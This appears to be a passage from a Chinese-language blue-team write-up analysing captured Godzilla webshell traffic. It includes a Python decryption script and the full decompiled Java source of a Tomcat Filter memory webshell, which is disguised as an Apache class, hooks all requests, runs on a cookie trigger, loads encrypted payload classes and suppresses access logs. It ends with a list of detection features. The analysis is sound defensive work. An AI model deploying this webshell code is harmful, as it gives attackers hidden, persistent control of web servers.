azD9zeTy4IB8wXv%2FIhxcH69FI%2FIlcrDrt%2By4DXnX5iQs1asbRYZPl25UsxDpDY9gvOeuBTJLGiaCzXF6qpMtUwoWLFA3nnczbllttV5M3k%2BBpbfnYzHTGP%2FZG13gcvqNQC6QxVFQ6ZJfJrKqBl4ocEdYTeLSSOHj%2BxkvZtA3bbKTqfwlz4VKXXzgfiCNy2pF6qPIadW9aawVQAQ2Dj0Hbgw9KGfWvPFT%2FKfYBQRZat7yYsVcGns%2BR1w1%2B2MmySgpnb%2FPfk80kBdZtKMkA0pxTbd2Rwmpx2giPDmj2tzcsphPJAmENXkHtIeVKANSQhCCQ%2FGr3HIhSgkuFJdkyasWXm52Mvn6qf0pLjmn7aYKKZVFxpFdV4bFaxsv4SS7zno3ngiVtjhxHu89dwplJQRIcwzw5ARzWh3oxYGgsP73lf9Erajl1S09Uy3wJvZDCQRZUzwl3vbzeVGWGmkq5pb8Vp216Wyo9W4tCxPbKK4mwbPRyEBiCr7tojGqqb95E0%2BA1wNYQMHoI3yYC6us4ssUSn%2FRq3wnrLrx3rWXoFGl%2FVshJrZ80NqCOcsJpmwDbJB65xQOmjJvS%2BMDwU2gqn%2F9crnQSdxlAvXBL6YpGrqJqRGIbn7xllWHiKkhW6vEDSBe7TpvXfxQ0PAVqyHf8fxGyyiiA8hJPmahfIby0TUHI38OqqDclg4hRPfHP1FROLWSwihmUVYmcIWNU7vdeyc%2FemOpNgnHtP9v1lhfwySvbrvVB8k06a%2FYXdHoWJTn1APVPn4bVysWDsE%2FIPaasfSOnN3uuV0nRoCvxq3QVR%2BbT0nW3IDJPa6WSFUnKOSFXXOuVxNurPHNu1qBS152qvAECTFMYqFv%2BcP0pToWmE6AnIDaoS7usPMnRoQcGSY4a%2FMM%2FWisNoerEgut9DfDs75ARtkr0BgwNVAXbAQuatzGUp3eJWP8hceNXVMjXMbXj6YFJX7p5zaGuxPFT0qUpmq4zgXxpxs3sO5%2F4ZB3eERIUB5kNrYvo5wBFnQGOYivQLFEQxEVmsHGs07cG%2BnHA5fFEa%2BLM5OF7k7wIbfuJ3aA4BtaeurYEaSMTXnwadPTfZG17vkczQM4EV2aDlvhTaKrT7bsO4Fevlx0ji9OObTv5YZnhMOWhsiknlASrcgdYoqTCyV4NV9i7uOwSxpQMZdK3ZxRQb9el4hgHQ6uzKLGjvoSVbMpGLI9rmFbfG%2B4OIQQOLU3H81aXp7Y%2BZ%2FxDVfuijl092LZ%2F29gNjGu43twJOxMUUxS5wMhrJklBc%2BkKIP%2BRzFqbIS1%2FQg39e9PlK1SCk8P1%2FOEPpgs0e7MjJul7sT5%2Fe1D1MUqX3XHfOPpKmiTiDbO6HoCrsPpuFHXDCmTcB8puM9ZZPp7HghWshSGZzgcfj0LzNODRihw2qzozFEeM9Oml4EWiAmkJF85Zx2aCAeuwgki7VY5uhWINtRrrFFE0XjP%2B9KEBiqcyKABiWZl4Ls8V9Fparxdn0Vx%2FlwpDNAKUgKHBzzii5RcVISR4MTFjSIcV6QCwqkKP29NQ2m%2BULbkDx0%2FXN72qyRf9jYifa6QgQnYc00M6QdJkaDP23j3qNWviiiWzS23hAMdJXdDxUZAISB94uMgngOs5rHsJELP4jLMW9MozgqOiR92Sk66E%2BW%2Bxi5FmlzNVCqiH9dQb8O5kLmiW3AcQ7Xbt7nm0EId4LT7bOXnTMeEoRPxrS2XRQr4kjuG4f01MDKBTUTcg6cMOF4YorD5fDOecTRv80gEK8ARP7UaLRhkorMhdUb9ngq8z7zyTymZ3wWqU7WsPKP7wP4cTXTPU6v9EB9qIxuM%2BMpHeb9lL1KAzDwk67yg8lPFittol7G21w6OJE8VGG7wFjsQbD4IhSTKKSsm3P2T%2BRuOEAe2NwijLu87BOwXXG6UGmP9ClAC3olqsM06JrVF4zyLZLG7kmd%2F9AKy3aDbdWy4RoF0MUN%2FELq3SilSS%2FtN2f4TeDMyJpWO2bsrQDUl4Bs1tKeez0oN3NWVy7%2FcToTWh4CU%2BSnoWjSw7SGp901qnz7Bcdc43Mj8aqwMx6d%2Bln1h9z42MrF9RVwQTufYyUjy8m4RaaJ5OzX7OJlS%2FzdcLoFOgojC%2B5nru8ezknErMM8%2F8qDlFNE8RKuKYkN%2F89cGYvT38zCERIAMvd8Z3XdISvne%2Bb2R2COrlSCtA%2FGIBg9IwLiubUbguHnocJQVq%2BLip3goCzhoqXDy9EWZxskteAfZDvFfk9%2F1BlbHEv4Zo8FB8YHmKe5Qxgj%2BeRoHePS2o2Usy976VQIEKegGNj8U8gs90CrFXDMoI5z1aIWKRESgolojbSW7SUGkmfJwjloMqACjAFX58rBb10rH4mx6jvsdLl%2Fzsoz5Bjzfen0IYsVL05tcfecHRXqJnWvFB6acbK4%2FOloG9HaXn%2Fn65h6nNIPsPVQwhO%2B3MLeL1R6FkLMvMOiKb3LxGHLUXCuIL%2B%2FxRZmq9GKkIDlbOInpTt04%2BE5ZyPe%2Bo3SYD%2Fc5ZQfnL%2FX8w46Rrq9Yc3MtmD%2FmAx6KxjeJvXxXnETB88%2BCo5pWSzt6tA1szLU1u8uxfwks0ecRQN9JwQ%2FwSNx7eEuV%2BZ7SnfmupaVmB%2FJecz7ltZ0uihu7ln0wO1XKEpFHF%2FDWySfJtu8UkfTMXmZpkaqH8BLmY%2BGT%2BpErZiMUp95acO%2BUwfSEHWA%2BrubqdhUWnHSfmyPQENr5qOvEJG%2BmerMIjtCAYyoD4EOLz4g8FJfjZl0%2Fs1Q4HRtIBCLgclCpVnf%2FVnm%2BeLRLoh0gqzdBJ3Y8cd9%2FtFRxve%2BGS06JdWpcL94oZjszwBqwQHifYAlF5wM6mRzNTeAcMka9Wt%2FehggGy5vTLeUcP6Z4S7FVaT2zqZ4FOZkMG7NNVzUBUx%2BgwzVR%2BVPgiBW0%2F9d%2FdvBCytrX%2BR4axqL6UQnE%2Bkcve9IQ4PcOO54dv3z%2FTE%2B%2FEPS9SZ2fNd1n1aFBI2qhtG4ibv6fSYHd3Fo4U6ifOUScAy3CY6qAkWMzEhZAca25ffOo%2B33SJ4xgZX8AKvH9aeb7D%2F%2Bwihdi8kQvl%2FrIXC4Rf685cF70V4pR7a%2BjDNzbYhAZhPkB6soU5%2FcEVo4qF6WHJiLnRzc0LC3jOMDwPzqkgarT9lRRYShtXgiH7%2B%2BmstKFMXmXQ91yewH9GYpL9oCZ%2B5A%2FbG%2ByEx%2F%2FLAvqsGXJcC6Ey6UPD4cbhnaezA9pUYv4QwPvBQ5Ymd2gyX8g6Cn7iNkES1NyaJIhw3HK4fnryXjv2tU3ScC4SMtR1AMYmhXaFTJ6ZRVRkdLoh3Wmr2LaZzInAXSUiUbdv2zlcK5lEdX9MFWdjMAWDg7fejIFGCi%2B2IDck3poa0HUqKFtJfvh27OeYLdcxibK3aHocD%2BMheVCJ%2Bk0eJIw1ffOm4IZTjJse0TdYaaN3aLymtmGa86FQC6lhpgbK%2Bk9vG35Df2esH%2FSWZvKFi346v2tM8wncs8mNLNV4nieBSF%2FO%2FrN%2FQCtf77%2F2bRcqjWnK%2FuMG%2BVUnrGfxQm4z0SFWhMqTlpHzFmlMJfNxm85zQToffBqQ6%2BGlOhDMMU71F2uvceNPZbekzH7V1yATUD6goKtWtzy5r1A4QuUNpWASUHkQQ2pBEVnKdoypjFU9DG4AyrQK2aNK5QD9g1gBeu7k1XjdqmBZlHQUUXIqwLrqYXrEGBH91ZRL8hho79cUmKbbiAfnQOFLJ%2FyOyv3D3LbEudeVZiKUhbPwLcuGMXEN8gMNRpAzGNUkpm3bp6l0H3RGRfk6PRO3N8aJhydeH1MkXZV4URBE5gIaM2rnlop5xrs2Sv3MQmJfyEw%2ByMJQLim5uE8Z9PtQNoXmmXfPmBI%2BBdabEgY6cVSXBs7yhA8uTwHc9QgYmLo5X2%2B4W5RfRRZsdWwOsL9XbAuVXmCJFW0hYl2ytMrHY0Sgru6fFV3btpY6vIj8yGwlQh2IrGyVQYGRQeieDeuUOrllkXjf9wK2skDd633zOj3d79AHrmeA5G2KmHSgAoAr2g4axunc8ExhJT%2BoEQDtzaoDm1Y%2B6NQqgTl679SPvAVa7clenIZlcBAnRhrDXPqZIEljrXLNSnHetM0xmjknepCABOC3WdEkD1rl3vHOrFal0qqk21gt5CAfbAIv%2B76eIvU78q8zA0D2pYomBe%2B7NRm4jt3Xi%2B%2BdDf6e%2FWKAXW5kd7h9j%2FdwNzaX1BdD9wGr0tTMmcdwaQGpZ3PMPEFJsknkbGd%2Fg78ZaNOAyN%2Fa0b%2FRlKUoszFbd6Uw23Bpk890GAN7QaYWqexCz4mCt1qk3VSx"
RESP_BODY = "11CD6A8758984163LF/IpkPvM0iJI4wmpBs2DaoBVvcbDMpwuL7nYS3n/k4=6C37AC826A2A04BC"

OUT = Path("godzilla_java_decode_out")
CFR = Path("cfr.jar")


def aes_dec(b):
    return unpad(AES.new(KEY, AES.MODE_ECB).decrypt(b), 16)


def ungzip(b):
    return gzip.decompress(b) if b[:2] == b"\x1f\x8b" else b


def dec_req(s):
    return ungzip(aes_dec(base64.b64decode(unquote_plus(s))))


def dec_resp(s):
    m = hashlib.md5(PASS.encode() + KEY).hexdigest().upper()
    if s.startswith(m[:16]) and s.endswith(m[16:]):
        s = s[16:-16]
    return ungzip(aes_dec(base64.b64decode(s)))


def save_classes(b):
    OUT.mkdir(exist_ok=True)
    paths = []
    pos = 0
    idx = 1

    while True:
        start = b.find(b"\xca\xfe\xba\xbe", pos)
        if start == -1:
            break

        # 简化处理:从 cafebabe 保存到末尾。
        # 对单个 class 的 Godzilla 内存马请求通常够用。
        path = OUT / f"extracted_{idx}.class"
        path.write_bytes(b[start:])
        paths.append(path)

        print(f"[+] 保存 class: {path}, offset={start}")
        break

    return paths


def decompile(paths):
    if not CFR.exists():
        print("[!] 未发现 cfr.jar,只保存 class,不自动反编译")
        return

    java_dir = OUT / "java"
    java_dir.mkdir(exist_ok=True)

    for p in paths:
        print(f"[+] CFR 反编译: {p}")
        subprocess.run(
            ["java", "-jar", str(CFR), str(p), "--outputdir", str(java_dir)],
            check=False
        )

    for jf in java_dir.rglob("*.java"):
        print(f"\n========== {jf} ==========")
        print(jf.read_text(encoding="utf-8", errors="replace"))


def show(name, b):
    print(f"\n[{name}]")
    print("长度:", len(b))
    print("前64字节HEX:", b[:64].hex())

    if b"\xca\xfe\xba\xbe" in b:
        print("检测到 class 字节码")
    else:
        print("TEXT:", b.decode(errors="replace"))


def main():
    OUT.mkdir(exist_ok=True)

    req = dec_req(REQ_PASS)
    resp = dec_resp(RESP_BODY)

    (OUT / "request_plain.bin").write_bytes(req)
    (OUT / "response_plain.bin").write_bytes(resp)

    show("请求包", req)
    show("响应包", resp)

    classes = save_classes(req)
    decompile(classes)

    print("\n[+] 输出目录:", OUT.resolve())


if __name__ == "__main__":
    main()

========== godzilla_java_decode_out\java\org\apache\coyote\deser\BeanDeserializerFactory.java ==========
/*
 * Decompiled with CFR 0.152.
 * 
 * Could not load the following classes:
 *  javax.servlet.Filter
 *  javax.servlet.FilterChain
 *  javax.servlet.FilterConfig
 *  javax.servlet.Servlet
 *  javax.servlet.ServletConfig
 *  javax.servlet.ServletContext
 *  javax.servlet.ServletException
 *  javax.servlet.ServletRequest
 *  javax.servlet.ServletResponse
 *  javax.servlet.http.Cookie
 *  javax.servlet.http.HttpServletRequest
 *  javax.servlet.http.HttpServletResponse
 *  javax.servlet.http.HttpSession
 *  javax.servlet.jsp.JspFactory
 *  javax.servlet.jsp.JspWriter
 *  javax.servlet.jsp.PageContext
 */
package org.apache.coyote.deser;

import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Enumeration;
import java.util.HashMap;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.Servlet;
import javax.servlet.ServletConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import javax.servlet.jsp.JspFactory;
import javax.servlet.jsp.JspWriter;
import javax.servlet.jsp.PageContext;

/*
 * This class specifies class file version 49.0 but uses Java 6 signatures.  Assumed Java 6.
 */
public class BeanDeserializerFactory
extends ClassLoader
implements Filter,
Servlet,
ServletConfig {
    private static FilterConfig filterConfig;
    public final char[] toBase64 = new char[]{'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'};
    private String Pwd;
    private String ck;
    private String secretKey;
    private HashMap parameterMap;
    private ServletConfig servletConfig;
    private ServletContext servletContext;
    private static final JspFactory _jspxFactory;

    static {
        _jspxFactory = JspFactory.getDefaultFactory();
    }

    public Class Q(byte[] b) {
        return super.defineClass(b, 0, b.length);
    }

    public BeanDeserializerFactory() {
    }

    public BeanDeserializerFactory(ClassLoader loader) {
        super(loader);
    }

    public boolean equals(Object obj) {
        try {
            this.parameterMap = (HashMap)obj;
            this.servletContext = (ServletContext)this.parameterMap.get("servletContext");
            this.Pwd = this.get("pwd");
            this.ck = this.get("ck");
            this.secretKey = this.get("secretKey");
        }
        catch (Exception e) {
            return false;
        }
        return true;
    }

    public String toString() {
        this.parameterMap.put("result", this.addFilter(this, this.getStandardContext()).getBytes());
        this.parameterMap = null;
        return "";
    }

    public void init(ServletConfig servletConfig) throws ServletException {
    }

    public ServletConfig getServletConfig() {
        return this;
    }

    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
    }

    public String getServletInfo() {
        return this.getServletName();
    }

    public void destroy() {
    }

    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException {
        try {
            HttpServletRequest httpServletRequest = (HttpServletRequest)req;
            HttpServletResponse httpServletResponse = (HttpServletResponse)resp;
            Cookie[] cookies = httpServletRequest.getCookies();
            boolean isNextChain = true;
            int i = 0;
            while (i < cookies.length) {
                Cookie cookie = cookies[i];
                if (cookie.getName().equals(this.ck)) {
                    this._jspService(httpServletRequest, httpServletResponse);
                    return;
                }
                ++i;
            }
        }
        catch (Exception exception) {
            // empty catch block
        }
        chain.doFilter(req, resp);
    }

    public void init(FilterConfig config) throws ServletException {
        filterConfig = config;
    }

    public String getServletName() {
        return "Servlet";
    }

    public ServletContext getServletContext() {
        return filterConfig.getServletContext();
    }

    public String getInitParameter(String s) {
        return s;
    }

    public Enumeration<String> getInitParameterNames() {
        return null;
    }

    public byte[] x(byte[] s, boolean m) {
        try {
            Cipher c = Cipher.getInstance("AES");
            c.init(m ? 1 : 2, new SecretKeySpec(this.secretKey.getBytes(), "AES"));
            return c.doFinal(s);
        }
        catch (Exception e) {
            return null;
        }
    }

    public static String md5(String s) {
        String ret = null;
        try {
            MessageDigest m = MessageDigest.getInstance("MD5");
            m.update(s.getBytes(), 0, s.length());
            ret = new BigInteger(1, m.digest()).toString(16).toUpperCase();
        }
        catch (Exception exception) {
            // empty catch block
        }
        return ret;
    }

    private Object invoke(Object obj, String methodName, Object ... parameters) {
        try {
            ArrayList classes = new ArrayList();
            if (parameters != null) {
                int i = 0;
                while (i < parameters.length) {
                    Object o1 = parameters[i];
                    if (o1 != null) {
                        classes.add(o1.getClass());
                    } else {
                        classes.add(null);
                    }
                    ++i;
                }
            }
            Method method = this.getMethodByClass(obj.getClass(), methodName, classes.toArray(new Class[0]));
            return method.invoke(obj, parameters);
        }
        catch (Exception exception) {
            return null;
        }
    }

    private Object getStandardContext() {
        try {
            return BeanDeserializerFactory.getFieldValue(BeanDeserializerFactory.getFieldValue(this.servletContext, "context"), "context");
        }
        catch (Exception e) {
            return null;
        }
    }

    protected String addFilter(Filter filter, Object standardContext) {
        try {
            String filterName = String.valueOf(filter.getClass().getSimpleName()) + System.currentTimeMillis();
            Class<?> standardContextClass = standardContext.getClass();
            ClassLoader standardContextClassLoader = standardContextClass.getClassLoader();
            Object filterMap = this.getMethodParameterTypes(standardContextClass, "addFilterMap")[0].newInstance();
            Object filterDef = this.getMethodParameterTypes(standardContextClass, "addFilterDef")[0].newInstance();
            this.invoke(filterMap, "setURLPattern", "/*");
            this.invoke(filterMap, "addURLPattern", "/*");
            this.invoke(filterMap, "setFilterName", filterName);
            this.invoke(filterDef, "setFilterName", filterName);
            this.invoke(filterDef, "setFilterClass", "org.apache.catalina.filters.SetCharacterEncodingFilter");
            Constructor<?> applicationFilterConfigConstructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", false, standardContextClassLoader).getDeclaredConstructor(Class.forName("org.apache.catalina.Context", false, standardContextClassLoader), filterDef.getClass());
            applicationFilterConfigConstructor.setAccessible(true);
            Object applicationFilterConfig = applicationFilterConfigConstructor.newInstance(standardContext, filterDef);
            BeanDeserializerFactory.setFieldValue(applicationFilterConfig, "filter", filter);
            this.invoke(filterDef, "setFilterClass", filter.getClass().getName());
            filter.init((FilterConfig)applicationFilterConfig);
            this.invoke(standardContext, "addFilterDef", filterDef);
            this.invoke(standardContext, "addFilterMap", filterMap);
            HashMap filterConfigs = (HashMap)BeanDeserializerFactory.getFieldValue(standardContext, "filterConfigs");
            filterConfigs.put(filterName, applicationFilterConfig);
            Object[] filterMaps = (Object[])this.invoke(standardContext, "findFilterMaps", null);
            if (filterMaps.length > 1) {
                Object[] tmpFilterMaps = new Object[filterMaps.length];
                int index = 1;
                int i = 0;
                while (i < filterMaps.length) {
                    Object _filterMap = filterMaps[i];
                    if (filterName.equals(this.invoke(_filterMap, "getFilterName", null))) {
                        tmpFilterMaps[0] = _filterMap;
                    } else {
                        tmpFilterMaps[index++] = filterMaps[i];
                    }
                    ++i;
                }
                i = 0;
                while (i < filterMaps.length) {
                    filterMaps[i] = tmpFilterMaps[i];
                    ++i;
                }
            }
            return "ok";
        }
        catch (Exception e) {
            return e.getMessage();
        }
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field f = null;
        f = obj instanceof Field ? (Field)obj : obj.getClass().getDeclaredField(fieldName);
        f.setAccessible(true);
        f.set(obj, value);
    }

    private Class[] getMethodParameterTypes(Class cls, String methodName) {
        Method[] methods = cls.getDeclaredMethods();
        int i = 0;
        while (i < methods.length) {
            if (methodName.equals(methods[i].getName())) {
                return methods[i].getParameterTypes();
            }
            ++i;
        }
        return null;
    }

    private Method getMethodByClass(Class cs, String methodName, Class ... parameters) {
        Method method = null;
        while (cs != null) {
            try {
                method = cs.getDeclaredMethod(methodName, parameters);
                cs = null;
            }
            catch (Exception e) {
                cs = cs.getSuperclass();
            }
        }
        return method;
    }

    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
        Field f = null;
        if (obj instanceof Field) {
            f = (Field)obj;
        } else {
            Object method = null;
            Class<?> cs = obj.getClass();
            while (cs != null) {
                try {
                    f = cs.getDeclaredField(fieldName);
                    cs = null;
                }
                catch (Exception e) {
                    cs = cs.getSuperclass();
                }
            }
        }
        f.setAccessible(true);
        return f.get(obj);
    }

    private void noLog(PageContext pc) {
        try {
            Object applicationContext = BeanDeserializerFactory.getFieldValue(pc.getServletContext(), "context");
            Object container = BeanDeserializerFactory.getFieldValue(applicationContext, "context");
            ArrayList<Object> arrayList = new ArrayList<Object>();
            while (container != null) {
                arrayList.add(container);
                container = this.invoke(container, "getParent", null);
            }
            int i = 0;
            while (i < arrayList.size()) {
                try {
                    Object pipeline = this.invoke(arrayList.get(i), "getPipeline", null);
                    if (pipeline != null) {
                        Object valve = this.invoke(pipeline, "getFirst", null);
                        while (valve != null) {
                            if (this.getMethodByClass(valve.getClass(), "getCondition", null) != null && this.getMethodByClass(valve.getClass(), "setCondition", String.class) != null) {
                                String condition = (String)this.invoke(valve, "getCondition", new Object[0]);
                                condition = condition == null ? "FuckLog" : condition;
                                this.invoke(valve, "setCondition", condition);
                                pc.getRequest().setAttribute(condition, (Object)condition);
                                valve = this.invoke(valve, "getNext", null);
                                continue;
                            }
                            valve = Class.forName("org.apache.catalina.Valve", false, applicationContext.getClass().getClassLoader()).isAssignableFrom(valve.getClass()) ? this.invoke(valve, "getNext", null) : null;
                        }
                    }
                }
                catch (Exception exception) {
                    // empty catch block
                }
                ++i;
            }
        }
        catch (Exception exception) {
            // empty catch block
        }
    }

    public void _jspService(HttpServletRequest request, HttpServletResponse response) throws Exception {
        block8: {
            PageContext _jspx_page_context;
            block7: {
                HttpSession session = null;
                JspWriter out = null;
                BeanDeserializerFactory page = this;
                JspWriter _jspx_out = null;
                _jspx_page_context = null;
                try {
                    try {
                        PageContext pageContext;
                        response.setContentType("text/html");
                        _jspx_page_context = pageContext = _jspxFactory.getPageContext((Servlet)this, (ServletRequest)request, (ServletResponse)response, null, true, 8192, true);
                        ServletContext application = pageContext.getServletContext();
                        ServletConfig config = pageContext.getServletConfig();
                        session = pageContext.getSession();
                        _jspx_out = out = pageContext.getOut();
                        this.noLog(pageContext);
                        try {
                            String md5 = BeanDeserializerFactory.md5(String.valueOf(this.Pwd) + this.secretKey);
                            byte[] data = this.base64Decode(request.getParameter(this.Pwd));
                            data = this.x(data, false);
                            if (session.getAttribute("payload") == null) {
                                session.setAttribute("payload", (Object)new BeanDeserializerFactory(pageContext.getClass().getClassLoader()).Q(data));
                                break block7;
                            }
                            request.setAttribute("parameters", (Object)data);
                            Object f = ((Class)session.getAttribute("payload")).newInstance();
                            f.equals(pageContext);
                            response.getWriter().write(md5.substring(0, 16));
                            response.getWriter().write(this.base64Encode(this.x(this.base64Decode(f.toString()), true)));
                            response.getWriter().write(md5.substring(16));
                        }
                        catch (Exception exception) {}
                    }
                    catch (Exception exception) {
                        _jspxFactory.releasePageContext(_jspx_page_context);
                        break block8;
                    }
                }
                catch (Throwable throwable) {
                    _jspxFactory.releasePageContext(_jspx_page_context);
                    throw throwable;
                }
            }
            _jspxFactory.releasePageContext(_jspx_page_context);
        }
    }

    public String base64Encode(String data) {
        return this.base64Encode(data.getBytes());
    }

    public String base64Encode(byte[] src) {
        int off = 0;
        int end = src.length;
        byte[] dst = new byte[4 * ((src.length + 2) / 3)];
        int linemax = -1;
        boolean doPadding = true;
        char[] base64 = this.toBase64;
        int sp = off;
        int slen = (end - off) / 3 * 3;
        int sl = off + slen;
        if (linemax > 0 && slen > linemax / 4 * 3) {
            slen = linemax / 4 * 3;
        }
        int dp = 0;
        while (sp < sl) {
            int sl0 = Math.min(sp + slen, sl);
            int sp0 = sp;
            int dp0 = dp;
            while (sp0 < sl0) {
                int bits = (src[sp0++] & 0xFF) << 16 | (src[sp0++] & 0xFF) << 8 | src[sp0++] & 0xFF;
                dst[dp0++] = (byte)base64[bits >>> 18 & 0x3F];
                dst[dp0++] = (byte)base64[bits >>> 12 & 0x3F];
                dst[dp0++] = (byte)base64[bits >>> 6 & 0x3F];
                dst[dp0++] = (byte)base64[bits & 0x3F];
            }
            int dlen = (sl0 - sp) / 3 * 4;
            dp += dlen;
            sp = sl0;
        }
        if (sp < end) {
            int b0 = src[sp++] & 0xFF;
            dst[dp++] = (byte)base64[b0 >> 2];
            if (sp == end) {
                dst[dp++] = (byte)base64[b0 << 4 & 0x3F];
                if (doPadding) {
                    dst[dp++] = 61;
                    dst[dp++] = 61;
                }
            } else {
                int b1 = src[sp++] & 0xFF;
                dst[dp++] = (byte)base64[b0 << 4 & 0x3F | b1 >> 4];
                dst[dp++] = (byte)base64[b1 << 2 & 0x3F];
                if (doPadding) {
                    dst[dp++] = 61;
                }
            }
        }
        return new String(dst);
    }

    public byte[] base64Decode(String base64Str) {
        if (base64Str.length() == 0) {
            return new byte[0];
        }
        byte[] src = base64Str.getBytes();
        int sp = 0;
        int sl = src.length;
        int paddings = 0;
        int len = sl - sp;
        if (src[sl - 1] == 61) {
            ++paddings;
            if (src[sl - 2] == 61) {
                ++paddings;
            }
        }
        if (paddings == 0 && (len & 3) != 0) {
            paddings = 4 - (len & 3);
        }
        byte[] dst = new byte[3 * ((len + 3) / 4) - paddings];
        int[] base64 = new int[256];
        Arrays.fill(base64, -1);
        int i = 0;
        while (i < this.toBase64.length) {
            base64[this.toBase64[i]] = i;
            ++i;
        }
        base64[61] = -2;
        int dp = 0;
        int bits = 0;
        int shiftto = 18;
        while (sp < sl) {
            int b = src[sp++] & 0xFF;
            if ((b = base64[b]) < 0 && b == -2) {
                if ((shiftto != 6 || sp != sl && src[sp++] == 61) && shiftto != 18) break;
                throw new IllegalArgumentException("Input byte array has wrong 4-byte ending unit");
            }
            bits |= b << shiftto;
            if ((shiftto -= 6) >= 0) continue;
            dst[dp++] = (byte)(bits >> 16);
            dst[dp++] = (byte)(bits >> 8);
            dst[dp++] = (byte)bits;
            shiftto = 18;
            bits = 0;
        }
        if (shiftto == 6) {
            dst[dp++] = (byte)(bits >> 16);
        } else if (shiftto == 0) {
            dst[dp++] = (byte)(bits >> 16);
            dst[dp++] = (byte)(bits >> 8);
        } else if (shiftto == 12) {
            throw new IllegalArgumentException("Last unit does not have enough valid bits");
        }
        if (dp != dst.length) {
            byte[] arrayOfByte = new byte[dp];
            System.arraycopy(dst, 0, arrayOfByte, 0, Math.min(dst.length, dp));
            dst = arrayOfByte;
        }
        return dst;
    }

    public String get(String key) {
        try {
            return new String((byte[])this.parameterMap.get(key));
        }
        catch (Exception e) {
            return null;
        }
    }
}

这就是一个 Tomcat Filter 型内存马,并且兼容 Godzilla AES_BASE64 通信协议。

Filter 注册逻辑:

addFilter 方法里做了几件事:

操作

含义

生成 filterName

类名 + 时间戳,例如 BeanDeserializerFactory1782055646198

设置 URL Pattern

映射为 /*,拦截所有路径

创建 filterDef

构造 Filter 定义

创建 filterMap

构造 URL 映射

创建 ApplicationFilterConfig

让 Tomcat 接受这个 Filter

修改 filterConfigs

把内存马加入 Tomcat 内部 Filter 配置表

调整 filterMaps 顺序

把内存马 Filter 放到链路前面

所以 getAllFilter 里看到:

BeanDeserializerFactoryxxxx urlPatterns: /*

就能证明它已经挂进 Filter 链。

关键检测点:

这个内存马有几个明显特征:

特征

说明

类名伪装

org.apache.coyote.deser.BeanDeserializerFactory

实现 Filter

说明是 FilterShell

URL 映射 /*

拦截所有请求

Cookie 触发

只有特定 Cookie 名才进入 WebShell

AES + Base64

Godzilla AES_BASE64 通信协议

session payload

后续 payload 存在 Session 中

defineClass

动态加载 class

filterConfigs 修改

直接改 Tomcat 内部 Filter 表

noLog

尝试关闭/绕过访问日志

第二条数据包

继续看第二条流

可以发现

第二条流是 FilterShell 注入阶段的参数流。它告诉服务端:使用指定 secretKey 和 pwd,加载名为 org.apache.coyote.deser.BeanDeserializerFactory 的 FilterShell 类,并用 ck 作为 Cookie 触发条件,执行 run 方法将其注册到 Tomcat Filter 链中。

特征总结

请求包的特征:

  • 常见文件后缀:.jsp / .jspx
  • 请求参数通常是:pass=...
  • 请求体为表单格式:Content-Type: application/x-www-form-urlencoded
  • 请求参数通常是:pass=...
  • pass 参数内容是 AES 加密后再 Base64 编码的数据

响应包特征:

  1. 整个响应包的结构体征为:md5 前十六位+ base64 + md5后十六位
  2. Java 版本中 MD5 通常为大写十六进制

蓝队检测方案

后面再具体写一期

‍